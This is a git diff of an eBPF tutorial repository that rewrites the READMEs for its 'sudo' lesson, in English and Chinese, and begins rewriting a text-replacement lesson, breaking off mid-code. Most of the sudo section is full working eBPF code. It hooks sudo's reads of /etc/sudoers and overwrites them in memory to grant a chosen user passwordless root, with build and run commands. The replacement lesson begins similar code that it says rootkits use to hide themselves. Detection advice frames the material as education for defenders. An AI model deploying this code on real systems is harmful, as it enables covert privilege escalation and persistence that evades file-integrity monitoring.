a critical window: when `sudo` reads `/etc/sudoers` into a buffer, the data briefly exists in userspace memory. eBPF programs can access and modify this userspace memory using `bpf_probe_write_user`, effectively lying to `sudo` about what permissions exist without ever touching the real file. + +Here's the attack flow: when any process opens `/etc/sudoers`, we record its file descriptor. When that same process reads from the file, we capture the buffer address. After the read completes, we overwrite the first line with ` ALL=(ALL:ALL) NOPASSWD:ALL #`, making `sudo` believe the target user has full root privileges. The trailing `#` comments out whatever was originally on that line, preventing parse errors. + +## Implementation: Hooking the System Call Path + +Let's examine how this attack is implemented in eBPF. The complete kernel-side code coordinates four system call hooks to track file operations and inject malicious content. + +```c +// SPDX-License-Identifier: BSD-3-Clause +#include "vmlinux.h" +#include +#include +#include +#include "common.h" + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; + +// Ringbuffer Map to pass messages from kernel to user +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} rb SEC(".maps"); + +// Map to hold the File Descriptors from 'openat' calls +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 8192); + __type(key, size_t); + __type(value, unsigned int); +} map_fds SEC(".maps"); + +// Map to fold the buffer sized from 'read' calls +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 8192); + __type(key, size_t); + __type(value, long unsigned int); +} map_buff_addrs SEC(".maps"); + +// Optional Target Parent PID +const volatile int target_ppid = 0; + +// The UserID of the user, if we're restricting +// running to just this user +const volatile int uid = 0; + +// These store the string we're going to +// add to /etc/sudoers when viewed by sudo +// Which makes it think our user can sudo +// without a password +const volatile int payload_len = 0; +const volatile char payload[max_payload_len]; + +SEC("tp/syscalls/sys_enter_openat") +int handle_openat_enter(struct trace_event_raw_sys_enter *ctx) +{ + size_t pid_tgid = bpf_get_current_pid_tgid(); + int pid = pid_tgid >> 32; + // Check if we're a process thread of interest + // if target_ppid is 0 then we target all pids + if (target_ppid != 0) { + struct task_struct *task = (struct task_struct *)bpf_get_current_task(); + int ppid = BPF_CORE_READ(task, real_parent, tgid); + if (ppid != target_ppid) { + return 0; + } + } + + // Check comm is sudo + char comm[TASK_COMM_LEN]; + bpf_get_current_comm(comm, sizeof(comm)); + const int sudo_len = 5; + const char *sudo = "sudo"; + for (int i = 0; i < sudo_len; i++) { + if (comm[i] != sudo[i]) { + return 0; + } + } + + // Now check we're opening sudoers + const char *sudoers = "/etc/sudoers"; + char filename[sudoers_len]; + bpf_probe_read_user(&filename, sudoers_len, (char*)ctx->args[1]); + for (int i = 0; i < sudoers_len; i++) { + if (filename[i] != sudoers[i]) { + return 0; + } + } + bpf_printk("Comm %s\n", comm); + bpf_printk("Filename %s\n", filename); + + // If filtering by UID check that + if (uid != 0) { + int current_uid = bpf_get_current_uid_gid() >> 32; + if (uid != current_uid) { + return 0; + } + } + + // Add pid_tgid to map for our sys_exit call + unsigned int zero = 0; + bpf_map_update_elem(&map_fds, &pid_tgid, &zero, BPF_ANY); + + return 0; +} + +SEC("tp/syscalls/sys_exit_openat") +int handle_openat_exit(struct trace_event_raw_sys_exit *ctx) +{ + // Check this open call is opening our target file + size_t pid_tgid = bpf_get_current_pid_tgid(); + unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid); + if (check == 0) { + return 0; + } + int pid = pid_tgid >> 32; + + // Set the map value to be the returned file descriptor + unsigned int fd = (unsigned int)ctx->ret; + bpf_map_update_elem(&map_fds, &pid_tgid, &fd, BPF_ANY); + + return 0; +} + +SEC("tp/syscalls/sys_enter_read") +int handle_read_enter(struct trace_event_raw_sys_enter *ctx) +{ + // Check this open call is opening our target file + size_t pid_tgid = bpf_get_current_pid_tgid(); + int pid = pid_tgid >> 32; + unsigned int* pfd = bpf_map_lookup_elem(&map_fds, &pid_tgid); + if (pfd == 0) { + return 0; + } + + // Check this is the sudoers file descriptor + unsigned int map_fd = *pfd; + unsigned int fd = (unsigned int)ctx->args[0]; + if (map_fd != fd) { + return 0; + } + + // Store buffer address from arguments in map + long unsigned int buff_addr = ctx->args[1]; + bpf_map_update_elem(&map_buff_addrs, &pid_tgid, &buff_addr, BPF_ANY); + + // log and exit + size_t buff_size = (size_t)ctx->args[2]; + return 0; +} + +SEC("tp/syscalls/sys_exit_read") +int handle_read_exit(struct trace_event_raw_sys_exit *ctx) +{ + // Check this open call is reading our target file + size_t pid_tgid = bpf_get_current_pid_tgid(); + int pid = pid_tgid >> 32; + long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid); + if (pbuff_addr == 0) { + return 0; + } + long unsigned int buff_addr = *pbuff_addr; + if (buff_addr <= 0) { + return 0; + } + + // This is amount of data returned from the read syscall + if (ctx->ret <= 0) { + return 0; + } + long int read_size = ctx->ret; + + // Add our payload to the first line + if (read_size < payload_len) { + return 0; + } + + // Overwrite first chunk of data + // then add '#'s to comment out rest of data in the chunk. + // This sorta corrupts the sudoers file, but everything still + // works as expected + char local_buff[max_payload_len] = { 0x00 }; + bpf_probe_read(&local_buff, max_payload_len, (void*)buff_addr); + for (unsigned int i = 0; i < max_payload_len; i++) { + if (i >= payload_len) { + local_buff[i] = '#'; + } + else { + local_buff[i] = payload[i]; + } + } + // Write data back to buffer + long ret = bpf_probe_write_user((void*)buff_addr, local_buff, max_payload_len); + + // Send event + struct event *e; + e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (e) { + e->success = (ret == 0); + e->pid = pid; + bpf_get_current_comm(&e->comm, sizeof(e->comm)); + bpf_ringbuf_submit(e, 0); + } + return 0; +} + +SEC("tp/syscalls/sys_exit_close") +int handle_close_exit(struct trace_event_raw_sys_exit *ctx) +{ + // Check if we're a process thread of interest + size_t pid_tgid = bpf_get_current_pid_tgid(); + int pid = pid_tgid >> 32; + unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid); + if (check == 0) { + return 0; + } + + // Closing file, delete fd from all maps to clean up + bpf_map_delete_elem(&map_fds, &pid_tgid); + bpf_map_delete_elem(&map_buff_addrs, &pid_tgid); + + return 0; +} +``` + +The program uses a multi-stage approach. First, `handle_openat_enter` acts as a filter—it checks that the process is `sudo`, that it's opening `/etc/sudoers`, and optionally that it matches a specific UID or parent PID. This filtering is critical because we don't want to affect every file operation on the system, only the specific case where `sudo` reads its configuration. + +When `sudo` opens `/etc/sudoers`, the kernel returns a file descriptor. We catch this in `handle_openat_exit` and store the file descriptor in `map_fds`. This map links the process (identified by `pid_tgid`) to its sudoers file descriptor, so we know which reads to intercept. + +The next hook, `handle_read_enter`, triggers when `sudo` calls `read()` on that file descriptor. The crucial detail here is capturing the buffer address—that's where the kernel will copy the file contents, and that's what we'll overwrite. We store this address in `map_buff_addrs`. + +The attack executes in `handle_read_exit`. After the kernel completes the read operation and fills the buffer with the real sudoers content, we use `bpf_probe_write_user` to overwrite it. We replace the first line with our payload (` ALL=(ALL:ALL) NOPASSWD:ALL #`) and fill the rest of the buffer with `#` characters to comment out the original content. From `sudo`'s perspective, it read a legitimate sudoers file that grants our user full privileges. + +Finally, `handle_close_exit` cleans up our tracking maps when `sudo` closes the file, preventing memory leaks. + +## Userspace Loader and Configuration + +The userspace component is straightforward—it configures the attack parameters and loads the eBPF program. The critical part is setting up the payload string that will be injected into `sudo`'s memory. This string is stored in the eBPF program's read-only data section, making it visible to the kernel at verification time but modifiable before loading. + +The loader accepts command-line arguments to specify the username to grant privileges, optionally restrict the attack to a specific user or process tree, and then loads the eBPF program with these parameters baked into the bytecode. When `sudo` next runs, the attack executes automatically without any further userspace interaction needed. + +## Security Implications and Detection + +This attack demonstrates why eBPF requires `CAP_BPF` or `CAP_SYS_ADMIN` capabilities—these programs can fundamentally alter system behavior. An attacker who gains root access even briefly could load this eBPF program and maintain persistent access even after their initial foothold is removed. + +Detection is challenging. The file on disk remains unchanged, so traditional file integrity monitoring fails. The attack happens entirely in kernel space during normal system call execution, leaving no unusual process behavior. However, defenders can look for loaded eBPF programs with write capabilities (`bpftool prog list`), monitor for `bpf()` system calls, or use eBPF-aware security tools that can inspect loaded programs. + +Modern security platforms like Falco and Tetragon can detect suspicious eBPF activity by monitoring program loading and examining attached hooks. The key is maintaining visibility into the eBPF subsystem itself. + +## Compilation and Execution + +Compile the program by running make in the tutorial directory: ```bash +cd src/26-sudo make ``` -使用方式: +To test the attack (in a safe VM environment), run as root and specify a target username: -```sh +```bash sudo ./sudoadd --username lowpriv-user ``` -这个程序允许一个通常权限较低的用户使用 `sudo` 成为 root。 +This will intercept `sudo` operations and grant `lowpriv-user` root access without modifying `/etc/sudoers`. When `lowpriv-user` runs `sudo`, they'll be able to execute commands as root without entering a password. Other programs reading `/etc/sudoers` (like `cat` or text editors) will still see the original, unmodified file. + +The `--restrict` flag limits the attack to only work when executed by the specified user, and `--target-ppid` can scope the attack to a specific process tree. + +## Summary + +This tutorial showed how eBPF's memory manipulation capabilities can subvert Linux's security model by intercepting and modifying data flowing through the kernel. While powerful for legitimate debugging and monitoring, these same features enable sophisticated attacks that bypass traditional security controls. The key takeaway for defenders is that eBPF programs themselves must be treated as a critical part of your attack surface—monitoring what eBPF programs are loaded and what capabilities they use is essential for modern Linux security. -它通过拦截 `sudo` 读取 `/etc/sudoers` 文件,并将第一行覆盖为 ` ALL=(ALL:ALL) NOPASSWD:ALL #` 的方式工作。这欺骗了 sudo,使其认为用户被允许成为 root。其他程序如 `cat` 或 `sudoedit` 不受影响,所以对于这些程序来说,文件未改变,用户并没有这些权限。行尾的 `#` 确保行的其余部分被当作注释处理,因此不会破坏文件的逻辑。 +> If you'd like to dive deeper into eBPF, check out our tutorial repository at or visit our website at . -## 参考资料 +## References -- +- Original bad-bpf project: +- eBPF helpers documentation: diff --git a/src/26-sudo/README.zh.md b/src/26-sudo/README.zh.md new file mode 100644 index 00000000..cda904f9 --- /dev/null +++ b/src/26-sudo/README.zh.md @@ -0,0 +1,288 @@ +# eBPF 教程: 文件操纵实现 sudo 权限提升 + +eBPF 的能力远不止简单的跟踪——它可以实时修改流经内核的数据。虽然这种能力为性能优化和安全监控提供了创新解决方案,但它也为传统安全工具可能遗漏的复杂攻击向量打开了大门。本教程演示了其中一种技术:使用 eBPF 通过操纵 `sudo` 读取 `/etc/sudoers` 时看到的内容,向非特权用户授予 root 访问权限。 + +此示例揭示了攻击者如何滥用 eBPF 的 `bpf_probe_write_user` 辅助函数来完全绕过 Linux 的权限模型,而不会在日志文件中留下痕迹或修改实际的系统文件。理解这些攻击模式对于构建 eBPF 感知安全监控的防御者至关重要。 + +> 完整源代码: + +## 攻击向量:拦截文件读取 + +传统的权限提升攻击直接修改 `/etc/sudoers`,在文件时间戳、审计日志和完整性监控系统中留下明显痕迹。这种基于 eBPF 的方法要微妙得多——它拦截 `sudo` 的读取操作,并在 `sudo` 处理之前替换内存中的文件内容。磁盘上的实际文件保持不变,击败了大多数文件完整性监视器。 + +攻击的工作原理是利用一个关键窗口:当 `sudo` 将 `/etc/sudoers` 读入缓冲区时,数据短暂地存在于用户空间内存中。eBPF 程序可以使用 `bpf_probe_write_user` 访问和修改此用户空间内存,有效地向 `sudo` 撒谎关于存在什么权限,而无需触摸真实文件。 + +以下是攻击流程:当任何进程打开 `/etc/sudoers` 时,我们记录其文件描述符。当同一进程从文件读取时,我们捕获缓冲区地址。读取完成后,我们用 ` ALL=(ALL:ALL) NOPASSWD:ALL #` 覆盖第一行,使 `sudo` 相信目标用户具有完全的 root 权限。尾部的 `#` 注释掉该行上的任何原始内容,防止解析错误。 + +## 实现:挂钩系统调用路径 + +让我们检查如何在 eBPF 中实现此攻击。完整的内核端代码协调四个系统调用挂钩来跟踪文件操作并注入恶意内容。 + +```c +// SPDX-License-Identifier: BSD-3-Clause +#include "vmlinux.h" +#include +#include +#include +#include "common.h" + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; + +// 环形缓冲区映射,用于从内核向用户传递消息 +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} rb SEC(".maps"); + +// 保存来自 'openat' 调用的文件描述符的映射 +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 8192); + __type(key, size_t); + __type(value, unsigned int); +} map_fds SEC(".maps"); + +// 保存来自 'read' 调用的缓冲区地址的映射 +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 8192); + __type(key, size_t); + __type(value, long unsigned int); +} map_buff_addrs SEC(".maps"); + +// 可选的目标父进程 PID +const volatile int target_ppid = 0; + +// 用户的 UserID,如果我们要限制仅针对此用户运行 +const volatile int uid = 0; + +// 这些存储我们要添加到 /etc/sudoers 的字符串 +// 当 sudo 查看时,这使它认为我们的用户可以无密码 sudo +const volatile int payload_len = 0; +const volatile char payload[max_payload_len]; + +SEC("tp/syscalls/sys_enter_openat") +int handle_openat_enter(struct trace_event_raw_sys_enter *ctx) +{ + size_t pid_tgid = bpf_get_current_pid_tgid(); + int pid = pid_tgid >> 32; + // 检查我们是否是感兴趣的进程线程 + // 如果 target_ppid 为 0,则我们针对所有 pid + if (target_ppid != 0) { + struct task_struct *task = (struct task_struct *)bpf_get_current_task(); + int ppid = BPF_CORE_READ(task, real_parent, tgid); + if (ppid != target_ppid) { + return 0; + } + } + + // 检查 comm 是否为 sudo + char comm[TASK_COMM_LEN]; + bpf_get_current_comm(comm, sizeof(comm)); + const int sudo_len = 5; + const char *sudo = "sudo"; + for (int i = 0; i < sudo_len; i++) { + if (comm[i] != sudo[i]) { + return 0; + } + } + + // 现在检查我们是否正在打开 sudoers + const char *sudoers = "/etc/sudoers"; + char filename[sudoers_len]; + bpf_probe_read_user(&filename, sudoers_len, (char*)ctx->args[1]); + for (int i = 0; i < sudoers_len; i++) { + if (filename[i] != sudoers[i]) { + return 0; + } + } + bpf_printk("Comm %s\n", comm); + bpf_printk("Filename %s\n", filename); + + // 如果按 UID 过滤,检查它 + if (uid != 0) { + int current_uid = bpf_get_current_uid_gid() >> 32; + if (uid != current_uid) { + return 0; + } + } + + // 为 sys_exit 调用将 pid_tgid 添加到映射 + unsigned int zero = 0; + bpf_map_update_elem(&map_fds, &pid_tgid, &zero, BPF_ANY); + + return 0; +} + +SEC("tp/syscalls/sys_exit_openat") +int handle_openat_exit(struct trace_event_raw_sys_exit *ctx) +{ + // 检查此 open 调用是否正在打开我们的目标文件 + size_t pid_tgid = bpf_get_current_pid_tgid(); + unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid); + if (check == 0) { + return 0; + } + int pid = pid_tgid >> 32; + + // 将映射值设置为返回的文件描述符 + unsigned int fd = (unsigned int)ctx->ret; + bpf_map_update_elem(&map_fds, &pid_tgid, &fd, BPF_ANY); + + return 0; +} + +SEC("tp/syscalls/sys_enter_read") +int handle_read_enter(struct trace_event_raw_sys_enter *ctx) +{ + // 检查此 open 调用是否正在打开我们的目标文件 + size_t pid_tgid = bpf_get_current_pid_tgid(); + int pid = pid_tgid >> 32; + unsigned int* pfd = bpf_map_lookup_elem(&map_fds, &pid_tgid); + if (pfd == 0) { + return 0; + } + + // 检查这是否是 sudoers 文件描述符 + unsigned int map_fd = *pfd; + unsigned int fd = (unsigned int)ctx->args[0]; + if (map_fd != fd) { + return 0; + } + + // 从参数中存储缓冲区地址到映射 + long unsigned int buff_addr = ctx->args[1]; + bpf_map_update_elem(&map_buff_addrs, &pid_tgid, &buff_addr, BPF_ANY); + + // 记录并退出 + size_t buff_size = (size_t)ctx->args[2]; + return 0; +} + +SEC("tp/syscalls/sys_exit_read") +int handle_read_exit(struct trace_event_raw_sys_exit *ctx) +{ + // 检查此 open 调用是否正在读取我们的目标文件 + size_t pid_tgid = bpf_get_current_pid_tgid(); + int pid = pid_tgid >> 32; + long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid); + if (pbuff_addr == 0) { + return 0; + } + long unsigned int buff_addr = *pbuff_addr; + if (buff_addr <= 0) { + return 0; + } + + // 这是从 read 系统调用返回的数据量 + if (ctx->ret <= 0) { + return 0; + } + long int read_size = ctx->ret; + + // 添加我们的有效负载到第一行 + if (read_size < payload_len) { + return 0; + } + + // 覆盖第一块数据 + // 然后添加 '#' 来注释掉块中的其余数据。 + // 这有点破坏了 sudoers 文件,但一切仍然按预期工作 + char local_buff[max_payload_len] = { 0x00 }; + bpf_probe_read(&local_buff, max_payload_len, (void*)buff_addr); + for (unsigned int i = 0; i < max_payload_len; i++) { + if (i >= payload_len) { + local_buff[i] = '#'; + } + else { + local_buff[i] = payload[i]; + } + } + // 将数据写回缓冲区 + long ret = bpf_probe_write_user((void*)buff_addr, local_buff, max_payload_len); + + // 发送事件 + struct event *e; + e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (e) { + e->success = (ret == 0); + e->pid = pid; + bpf_get_current_comm(&e->comm, sizeof(e->comm)); + bpf_ringbuf_submit(e, 0); + } + return 0; +} + +SEC("tp/syscalls/sys_exit_close") +int handle_close_exit(struct trace_event_raw_sys_exit *ctx) +{ + // 检查我们是否是感兴趣的进程线程 + size_t pid_tgid = bpf_get_current_pid_tgid(); + int pid = pid_tgid >> 32; + unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid); + if (check == 0) { + return 0; + } + + // 关闭文件,从所有映射中删除 fd 以清理 + bpf_map_delete_elem(&map_fds, &pid_tgid); + bpf_map_delete_elem(&map_buff_addrs, &pid_tgid); + + return 0; +} +``` + +程序使用多阶段方法。首先,`handle_openat_enter` 充当过滤器——它检查进程是否为 `sudo`,是否正在打开 `/etc/sudoers`,以及可选地是否匹配特定的 UID 或父 PID。此过滤至关重要,因为我们不想影响系统上的每个文件操作,只影响 `sudo` 读取其配置的特定情况。 + +当 `sudo` 打开 `/etc/sudoers` 时,内核返回一个文件描述符。我们在 `handle_openat_exit` 中捕获它并将文件描述符存储在 `map_fds` 中。此映射将进程(由 `pid_tgid` 标识)链接到其 sudoers 文件描述符,以便我们知道要拦截哪些读取。 + +下一个挂钩 `handle_read_enter` 在 `sudo` 对该文件描述符调用 `read()` 时触发。这里的关键细节是捕获缓冲区地址——那是内核将复制文件内容的地方,也是我们将覆盖的地方。我们将此地址存储在 `map_buff_addrs` 中。 + +攻击在 `handle_read_exit` 中执行。在内核完成读取操作并用真实的 sudoers 内容填充缓冲区后,我们使用 `bpf_probe_write_user` 覆盖它。我们用有效负载(` ALL=(ALL:ALL) NOPASSWD:ALL #`)替换第一行,并用 `#` 字符填充缓冲区的其余部分以注释掉原始内容。从 `sudo` 的角度来看,它读取了一个合法的 sudoers 文件,授予我们的用户完全权限。 + +最后,`handle_close_exit` 在 `sudo` 关闭文件时清理我们的跟踪映射,防止内存泄漏。 + +## 用户空间加载器和配置 + +用户空间组件很简单——它配置攻击参数并加载 eBPF 程序。关键部分是设置将注入到 `sudo` 内存中的有效负载字符串。此字符串存储在 eBPF 程序的只读数据部分,使其在验证时对内核可见,但在加载前可修改。 + +加载器接受命令行参数来指定要授予权限的用户名,可选地将攻击限制为特定用户或进程树,然后使用这些参数烘焙到字节码中加载 eBPF 程序。当 `sudo` 接下来运行时,攻击会自动执行,无需进一步的用户空间交互。 + +## 安全影响和检测 + +此攻击演示了为什么 eBPF 需要 `CAP_BPF` 或 `CAP_SYS_ADMIN` 权限——这些程序可以从根本上改变系统行为。即使攻击者短暂地获得了 root 访问权限,也可以加载此 eBPF 程序并在其初始立足点被移除后维持持久访问。 + +检测具有挑战性。磁盘上的文件保持不变,因此传统的文件完整性监控失败。攻击完全发生在正常系统调用执行期间的内核空间中,不留下异常的进程行为。然而,防御者可以查找具有写入能力的已加载 eBPF 程序(`bpftool prog list`),监控 `bpf()` 系统调用,或使用可以检查已加载程序的 eBPF 感知安全工具。 + +像 Falco 和 Tetragon 这样的现代安全平台可以通过监控程序加载和检查附加的挂钩来检测可疑的 eBPF 活动。关键是保持对 eBPF 子系统本身的可见性。 + +## 编译和执行 + +通过在教程目录中运行 make 来编译程序: + +```bash +cd src/26-sudo +make +``` + +要测试攻击(在安全的 VM 环境中),以 root 身份运行并指定目标用户名: + +```bash +sudo ./sudoadd --username lowpriv-user +``` + +这将拦截 `sudo` 操作并授予 `lowpriv-user` root 访问权限,而不修改 `/etc/sudoers`。当 `lowpriv-user` 运行 `sudo` 时,他们将能够以 root 身份执行命令而无需输入密码。读取 `/etc/sudoers` 的其他程序(如 `cat` 或文本编辑器)仍将看到原始的、未修改的文件。 + +`--restrict` 标志将攻击限制为仅在由指定用户执行时工作,`--target-ppid` 可以将攻击范围限定为特定的进程树。 + +## 总结 + +本教程展示了 eBPF 的内存操纵能力如何通过拦截和修改流经内核的数据来颠覆 Linux 的安全模型。虽然对于合法的调试和监控非常强大,但这些相同的功能使得能够绕过传统安全控制的复杂攻击成为可能。防御者的关键要点是,eBPF 程序本身必须被视为攻击面的关键部分——监控加载了哪些 eBPF 程序以及它们使用什么能力对于现代 Linux 安全至关重要。 + +> 如果你想深入了解 eBPF,请查看我们的教程代码仓库 或访问我们的网站 。 + +## 参考资料 + +- 原始 bad-bpf 项目: +- eBPF 辅助函数文档: +- `bpf_probe_write_user` 安全考虑: diff --git a/src/26-sudo/README_en.md b/src/26-sudo/README_en.md deleted file mode 100644 index 7fe9a66e..00000000 --- a/src/26-sudo/README_en.md +++ /dev/null @@ -1,23 +0,0 @@ -# Using eBPF to add sudo user - -The full source code for this article can be found at - -Compilation: - -```bash -make -``` - -Usage: - -```sh -sudo ./sudoadd --username lowpriv-user -``` - -This program allows a user with lower privileges to become root using `sudo`. - -It works by intercepting `sudo` reading the `/etc/sudoers` file and overwriting the first line with ` ALL=(ALL:ALL) NOPASSWD:ALL #`. This tricks `sudo` into thinking that the user is allowed to become root. Other programs like `cat` or `sudoedit` are not affected, so the file remains unchanged and the user does not have these permissions. The `#` at the end of the line ensures that the rest of the line is treated as a comment, so it does not break the logic of the file. - -## References - -- [https://github.com/pathtofile/bad-bpf](https://github.com/pathtofile/bad-bpf) \ No newline at end of file diff --git a/src/27-replace/.config b/src/27-replace/.config new file mode 100644 index 00000000..b3a374b4 --- /dev/null +++ b/src/27-replace/.config @@ -0,0 +1,2 @@ +level=Depth +type=Security diff --git a/src/27-replace/README.md b/src/27-replace/README.md index 9ab514c8..bd8555a2 100644 --- a/src/27-replace/README.md +++ b/src/27-replace/README.md @@ -1,40 +1,443 @@ -# 使用 eBPF 替换任意程序读取或写入的文本 +# eBPF Tutorial: Transparent Text Replacement in File Reads -完整源代码: +When you read a file in Linux, you trust that what you see matches what's stored on disk. But what if the kernel itself was lying to you? This tutorial demonstrates how eBPF programs can intercept file read operations and silently replace text before applications ever see it—creating a powerful capability for both defensive security monitoring and offensive rootkit techniques. -关于如何安装依赖,请参考: +Unlike traditional file modification that leaves traces in timestamps and audit logs, this approach manipulates data in-flight during the read system call. The file on disk remains untouched, yet every program reading it sees modified content. This technique has legitimate uses in security research, honeypot deployment, and anti-malware deception, but also reveals how rootkits can hide their presence from system administrators. -编译: +> The complete source code: -```bash -make -``` +## Use Cases: From Security to Deception -使用方式: +Text replacement in file reads serves several purposes across the security spectrum. For defenders, it enables honeypot systems that present fake credentials to attackers, or deception layers that make malware believe it's succeeded when it hasn't. Security researchers use it to study malware behavior by feeding controlled data to suspicious processes. -```sh -sudo ./replace --filename /path/to/file --input foo --replace bar +On the offensive side, rootkits use this exact technique to hide their presence. The classic example is hiding kernel modules from `lsmod` by replacing their names in `/proc/modules` with whitespace or other module names. Malware can spoof MAC addresses by modifying reads from `/sys/class/net/*/address`, defeating sandbox detection that looks for virtual machine identifiers. + +The key insight is that this operates at the system call boundary—after the kernel reads the file but before the userspace process sees the data. No matter how many times you `cat` the file or open it in different editors, you'll always see the modified version, because the eBPF program intercepts every read operation. + +## Architecture: Multi-Stage Text Scanning and Replacement + +This implementation is more sophisticated than simple string replacement. The challenge is working within eBPF's constraints: limited stack size, no unbounded loops, and strict verifier checks. To handle arbitrarily large files and multiple matches, the program uses a three-stage approach with tail calls to chain eBPF programs together. + +The first stage (`find_possible_addrs`) scans through the read buffer looking for characters that match the first character of our search string. It can't do full string matching yet due to complexity limits, so it just marks potential locations. These addresses are stored in `map_name_addrs` for the next stage. + +The second stage (`check_possible_addresses`) is tail-called from the first. It examines each potential match location and performs full string comparison using `bpf_strncmp`. This verifies whether we actually found our target text. Confirmed matches go into `map_to_replace_addrs`. + +The third stage (`overwrite_addresses`) loops through confirmed match locations and uses `bpf_probe_write_user` to overwrite the text with the replacement string. Because both strings must be the same length (to avoid shifting memory and corrupting the buffer), users must pad their replacement text to match. + +This pipeline handles the verifier's complexity limits by splitting the work across multiple programs, each staying under the instruction count threshold. Tail calls provide the glue, allowing one program to pass control to the next with the same context. + +## Implementation Details + +Let's examine the complete eBPF code that implements this three-stage pipeline: + +```c +// SPDX-License-Identifier: BSD-3-Clause +#include "vmlinux.h" +#include +#include +#include +#include "replace.h" + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; + +// Ringbuffer Map to pass messages from kernel to user +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} rb SEC(".maps"); + +// Map to hold the File Descriptors from 'openat' calls +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 8192); + __type(key, size_t); + __type(value, unsigned int); +} map_fds SEC(".maps"); + +// Map to fold the buffer sized from 'read' calls +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 8192); + __type(key, size_t); + __type(value, long unsigned int); +} map_buff_addrs SEC(".maps"); + +// Map to fold the buffer sized from 'read' calls +// NOTE: This should probably be a map-of-maps, with the top-level +// key bing pid_tgid, so we know we're looking at the right program +#define MAX_POSSIBLE_ADDRS 500 +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, MAX_POSSIBLE_ADDRS); + __type(key, unsigned int); + __type(value, long unsigned int); +} map_name_addrs SEC(".maps"); +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, MAX_POSSIBLE_ADDRS); + __type(key, unsigned int); + __type(value, long unsigned int); +} map_to_replace_addrs SEC(".maps"); + +// Map holding the programs for tail calls +struct { + __uint(type, BPF_MAP_TYPE_PROG_ARRAY); + __uint(max_entries, 5); + __type(key, __u32); + __type(value, __u32); +} map_prog_array SEC(".maps"); + +// Optional Target Parent PID +const volatile int target_ppid = 0; + +// These store the name of the file to replace text in +const volatile int filename_len = 0; +const volatile char filename[50]; + +// These store the text to find and replace in the file +const volatile unsigned int text_len = 0; +const volatile char text_find[FILENAME_LEN_MAX]; +const volatile char text_replace[FILENAME_LEN_MAX]; + +SEC("tp/syscalls/sys_exit_close") +int handle_close_exit(struct trace_event_raw_sys_exit *ctx) +{ + // Check if we're a process thread of interest + size_t pid_tgid = bpf_get_current_pid_tgid(); + int pid = pid_tgid >> 32; + unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid); + if (check == 0) { + return 0; + } + + // Closing file, delete fd from all maps to clean up + bpf_map_delete_elem(&map_fds, &pid_tgid); + bpf_map_delete_elem(&map_buff_addrs, &pid_tgid); + + return 0; +} + +SEC("tp/syscalls/sys_enter_openat") +int handle_openat_enter(struct trace_event_raw_sys_enter *ctx) +{ + size_t pid_tgid = bpf_get_current_pid_tgid(); + int pid = pid_tgid >> 32; + // Check if we're a process thread of interest + // if target_ppid is 0 then we target all pids + if (target_ppid != 0) { + struct task_struct *task = (struct task_struct *)bpf_get_current_task(); + int ppid = BPF_CORE_READ(task, real_parent, tgid); + if (ppid != target_ppid) { + return 0; + } + } + + // Get filename from arguments + char check_filename[FILENAME_LEN_MAX]; + bpf_probe_read_user(&check_filename, filename_len, (char*)ctx->args[1]); + + // Check filename is our target + for (int i = 0; i < filename_len; i++) { + if (filename[i] != check_filename[i]) { + return 0; + } + } + + // Add pid_tgid to map for our sys_exit call + unsigned int zero = 0; + bpf_map_update_elem(&map_fds, &pid_tgid, &zero, BPF_ANY); + + bpf_printk("[TEXT_REPLACE] PID %d Filename %s\n", pid, filename); + return 0; +} + +SEC("tp/syscalls/sys_exit_openat") +int handle_openat_exit(struct trace_event_raw_sys_exit *ctx) +{ + // Check this open call is opening our target file + size_t pid_tgid = bpf_get_current_pid_tgid(); + unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid); + if (check == 0) { + return 0; + } + int pid = pid_tgid >> 32; + + // Set the map value to be the returned file descriptor + unsigned int fd = (unsigned int)ctx->ret; + bpf_map_update_elem(&map_fds, &pid_tgid, &fd, BPF_ANY); + + return 0; +} + +SEC("tp/syscalls/sys_enter_read") +int handle_read_enter(struct trace_event_raw_sys_enter *ctx) +{ + // Check this open call is opening our target file + size_t pid_tgid = bpf_get_current_pid_tgid(); + int pid = pid_tgid >> 32; + unsigned int* pfd = bpf_map_lookup_elem(&map_fds, &pid_tgid); + if (pfd == 0) { + return 0; + } + + // Check this is the correct file descriptor + unsigned int map_fd = *pfd; + unsigned int fd = (unsigned int)ctx->args[0]; + if (map_fd != fd) { + return 0; + } + + // Store buffer address from arguments in map + long unsigned int buff_addr = ctx->args[1]; + bpf_map_update_elem(&map_buff_addrs, &pid_tgid, &buff_addr, BPF_ANY); + + // log and exit + size_t buff_size = (size_t)ctx->args[2]; + bpf_printk("[TEXT_REPLACE] PID %d | fd %d | buff_addr 0x%lx\n", pid, fd, buff_addr); + bpf_printk("[TEXT_REPLACE] PID %d | fd %d | buff_size %lu\n", pid, fd, buff_size); + return 0; +} + +SEC("tp/syscalls/sys_exit_read") +int find_possible_addrs(struct trace_event_raw_sys_exit *ctx) +{ + // Check this open call is reading our target file + size_t pid_tgid = bpf_get_current_pid_tgid(); + long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid); + if 